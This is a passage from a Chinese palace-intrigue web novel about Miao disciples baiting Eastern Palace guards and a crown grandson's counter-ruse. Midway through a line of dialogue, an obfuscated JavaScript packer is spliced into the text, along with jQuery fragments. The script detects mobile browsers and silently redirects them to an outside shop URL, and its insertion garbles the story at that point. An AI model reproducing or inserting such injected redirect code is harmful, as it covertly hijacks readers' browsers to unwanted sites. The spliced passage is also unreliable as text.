想不到自己师傅此番竟如此大方,连自己精心饲养的肥鸟都借给了那对虾兵蟹将。
安苗仰头看到那鸟自两条街外的巷口腾飞而起,秀眉都要跟着一起飞到头发里。
这矮墩子也忒有本事了些,找了那么个十丈开外的地方,便是太孙身死出殡,她都不一定能亲眼瞧见。
此番既然想要将她试上一试,便由不得她龟缩在那么个角落。安苗心下思索一番,大道至简,整人的办法千千万,唯有一招经久不衰。
她眼底掠过一丝得意,指尖捻了捻袖中那枚偷摸顺来的、刻着东宫纹样的铜牌。这是方才蹲守时,从那装腔作势的面子货腰间卸下的。
她自巷口的方向,将这枚铜牌掷向朱红的宫墙,铜牌在宫墙上撞得一声脆响,弹身飞向东宫守卫。
它咕噜噜得滚着,撞在青石板微翘的棱沿上,轻弹了一下慢停下来。端端卧于路中央,正正落于巡逻队前,似在咧着大嘴嘲笑他们草包一群、废物一堆。
这群衣冠草包本还阔步向前,突见路中间有一块铜牌,凑近一看,顿时惶恐起来。
看守不力本可大可小,可放在东宫,无论大小,唯有据实禀报、领罪受罚一条窄路可走。
守卫们互相瞅瞅,都面露苦涩,眼下只有抓住这为非作歹之人,才有希望将功抵罪。
王向阳思索一番,留下十人继续巡查。自己带着余下的人,直往前那巷口奔去。
巷子空寂,似有悄悄的说话声自远处传来。王向阳一挥手,侍卫们就分成两队,一队压低身体、敛去声响往前探查,另一队绕去后方包抄。
巷子深处,合宿本还在抱怨那恶毒的师姐,却似突然听到了什么,耳朵动了动。
这矮墩子此时似一坛启了封的陈酒,不必细闻,便已自顾自得溢出了醉人的香气。这边人还未露头,她心底已暗暗滋长出雀跃和期待。
“有一群人来了。”她强压激动,悄声说。
“不能妄动,跑。”那男子声音压得比她还低,“这是太孙的人。”
“不把动静闹大了不就好了。”合宿嘴唇动了动,挤出几句话。
“你要干嘛?”李欢轻有些急了,“咱们在此与他们井水不犯河水,你动动脑子。若不是人故意陷害,便是师姐引了他们过来,想试试咱们的斤两。”
“此番若想把他们都收拾了,再全身而退,谈何容易?我知你有本事,但本事也不是这么用的。”
男子的话又细又密,似雨丝砸在合宿的脑门,砸得她脑瓜冰凉。
“你听这来了几人?”方合宿还是没忍住咧嘴笑起来,眼里闪着兴奋的精光。
“前十五,后十七。”李欢轻语带迟疑。
“少了,还有四个在脑袋上飞。”矮墩子激动得手指来回摩挲小弯刀的刀柄,她呲出雪白的牙齿,“今日,我便带三十六只鞋回去。”
王向阳脚跟轻贴地面,再慢放脚尖,脚还没落实,下一步已经紧随而上。
他没尝试拔出腰侧的长剑,这长剑一向不是他趁手的武器。
他擅鞭,最爱听鞭子撕破空气的脆响,更享受鞭子上的倒刺层层豁开敌人的皮肤,敌人的血的会飞溅而出,肉丝会粘连在鞭上一起被勾连下来,如此美妙而疯狂。
他没忍住露出一个笑来,但很快压住了,又板出一副严肃沉稳的假面。
前方静悄悄的,会暗藏什么美味的血肉吗?让他可以甩鞭而上?
他跨过一个拐角,美味的血肉横空出现。可是…
这尸体怎么如此不完美?
矮墩墩、胖乎乎、垂头丧气得低着个头,怕是一鞭下去,打都打不透!抽她和抽个陀螺有什么区别?
领头人不满起来。对面圆溜溜的脑袋却似丝毫未觉对方的情绪,一双闪烁着疯狂的圆眼慢慢望过来,刺骨的杀意从其中迸发而出,描摹着他的轮廓,顺着他的皮肤肌理缓缓流淌,最终凝在他的左脚上。
那墩子的眼睛里是最纯粹的野性,是在弱肉强食的野生世界里,在茹毛饮血、啖肉寝皮下,剥离了所有人类规训的生猛凶戾。
领头人望着那双眼睛,只感觉从指尖开始,逐节便得冰凉,好似在从手开始慢慢死去。他尝试从怀里掏出细鞭,可手已经不听使唤,几番都已碰上了前胸的衣襟,最终却还是无力得滑落了下来。
他想张嘴乞讨,嘴刚豁开一个口,腿却先软了下去。
他趴倒在寂静的静默里,原来曾无数的鞭下亡魂,便是这般,战栗软弱得走向死亡吗?
他又尝试着长了长嘴,“我…”
被眼泪糊住的双眼却见那圆脑袋已经自他身边缓步而去,就这么把他丢下了,像丢下了一个无足轻重的烂物件、甩掉一脚粘稠的烂泥。
劫后余生的茫然攥紧他的心脏,他摊在那里,抬头仰望无边的夜空,心头浮起一丝困惑,死亡怎么会这么可怕?这么可怕?
朱红宫墙外,那支肃穆英勇的队伍此刻仅余十人,眼下正分作两队快速移动。他们正尝试用双倍的脚程,来弥补人数的不足。
安苗一边随着他们的步伐变换位置,一边抬头看了眼天色。
“你此番前来,不去帮你的好师妹,找我来做什么?”
李欢轻自安苗身后的阴影里转出来,又拿出了那副怯怯的模样,
“你设计让合宿将那群侍卫引走,我便想着你应是有正事要忙,就来看看你。”
安苗闻此瞥他一眼,只见一艳丽郎君正半垂眼帘,用细长的眼尾从下往上轻扫自己,睫毛亦随之轻轻颤动,一副油头粉面、矫揉造作的样子。
她只觉这男子当真是晦气透顶了,也不知师傅从哪翻出来的女狐狸,唤了张皮硬塞到自己身边。
她清清嗓子,强压下恶心道,“就你看来,方合宿可算得上是苗疆数一数二的高手?”
“自然算得。”
“她可能进这东宫?”
“三成把握应是有。”
安苗闻此,眉头蹙起来,“此前太孙被我迷晕,也如今日这般,直接被送回了东宫。可曾爷爷探查后,发现他亦身中妖毒——此毒极为霸道,沾之便会即刻失了意识,昏沉不醒。那日我迷晕他的地方,离东宫不过十丈,彼时前后侍从簇拥,人人惊惶,草木皆兵。”
她顿了顿,转头看向一旁敛眸沉思的男子,细细观察他的神色,
“当日莫说是我,便是曾爷爷来,也未必能在这短短距离内,寻到时机再毒翻他一次。你说凶手是如何挑得个顶好的时机,给这层层保护下的人下了妖毒?”
眼见那男子并未迟疑,几乎是立刻接话道,“想来无非两种可能,若不是妖邪作祟,便是身边出了细作。”
安苗对此毫不诧异,不置可否得继续道,“太孙此人不信鬼神之说,定当从细作处入手。但他明知身边有了细作,今夜却仍孤身一人晕倒在路边。我早前借机把了脉,此番并非上次的妖毒,而是上好的迷药。”
她浓密微翘的睫毛微扇,杏眼一转,“你怎么看?”
李欢轻也顾不得装相了,他眸光一凛,直言道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275452|198221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这是引蛇出洞。明知有细作,便借迷药装晕,故意孤身露破绽,等着对方自投罗网。”
“怕不是如此,”安苗面露不赞同,秀眉又扬了起来。
“这太孙如此贵重之人,怎会拿自身为饵行如此险招?若当真是细作搅弄风云,从他此前的行事来看,那细作亦不是个傻的,定会发现此事的异常之处,不肯轻易上前。”
安苗边说,边漫不经心得跟上侍卫的步伐,寻找藏身之处。
“今日之事应是另有人图谋不轨,这人行事谨慎小心,唯恐伤了这金贵人,与之前的狠辣强硬完全不是一个路数。太孙也是倒霉了些,此番如此多的人都看不得他舒坦。”她几乎是愉悦得笑了起来,
“今夜我让你们前来,也是为了查探。今日那人这般金贵的药下在太孙身上,他不确保太孙无事,又怎么会安心?今夜或许会来打探太孙的情况。”
“你是说…”李欢轻拧起眉头。
继德堂之中,龙凤和玺彩画之下,书案上的玉砚尚温,一着团龙纹圆领绸袍的雍容人正轻倚在身后的云锦软垫上。
他如羽的长睫微垂,面上平淡无波,不知在思索些什么。
四海和那周正端方的侍卫,一同静立在玉阶之下,神色皆有颓丧,四海更是一副没脸见人的模样,恨不得把头缩进领口里。
这一切,皆要从太孙殿下几日前悠悠转醒讲起。
此前,殿下做事一向细密周全,遇事多思索、少决断。往往是去伪存真、追本溯源之后才肯行事,如此也算对得起“国之命脉”几字。
但,他们殿下,其实自小便是个喜另辟蹊径、好铤而走险的性子。
往日运筹帷幄、算无遗策之时,尚且沉稳持重。可此番与这凶手周旋,几次落于下乘,最后竟被毒晕了过去。待醒来后,便慢慢露了本性,行事间隐隐有了以险制险的架势。
今早,殿下谨遵皇帝的嘱托,在家修养身子,未去上朝。晨光和煦,他本稳坐于隐于嘉木之间的澄心亭之中,斜倚着浅刻莲纹的白玉石栏,慢饮着一盏温茶。
亲兵却突然来报,说是有一头戴白纱、身形丰腴的妇人于门外盘桓,被暗卫一箭射掉了白纱,竟露出一张满是皱纹的脸。
那老妇眉眼间似少女般娇笑连连,她抬起枯老、被岁月腐蚀得微黄的手,轻抚了一下被刮乱的头发,掐着嗓子道,
“妾身今晚在红花楼恭候殿下。”
话音落时,人已一溜烟没了踪影,亲兵们几乎是即刻倾身俯冲而去,亦未能将她留下。
那亲兵禀报时满脸愧色,已尽量将事情说得详实,却还是透露出些许支吾,似乎心底也有不解。
太孙闻此,面色不改,轻“嗯”了一声,便罢了。
可他斗胆揣测太孙的心思,应是已经被勾起了莫大的兴味,起了浓厚的兴致。
只是,如此这般,奇诡阴邪,他们一众护卫是万万不敢让殿下亲身涉陷的。
他当即跪地,不发一言,眼睛也低垂着,不看那金尊玉贵的面孔。
奈何,殿下的性子,是说东,连淮河、泰山都要往东挪三分的。
最后,只剩下他强撑着忤逆这尊大佛,
“殿下,此事闹得如此大动静,恐怕府内已是人尽皆知,可这细作至今尚未落网。若您今夜执意赴约,这奸细趁乱不轨…”
那男子似终于愿意和他搭一句话,启唇淡淡道,“今夜,便给他们两出调虎离山的好戏。”
但料殿下最终也没想到,说好的两出,最后生生变成了四出。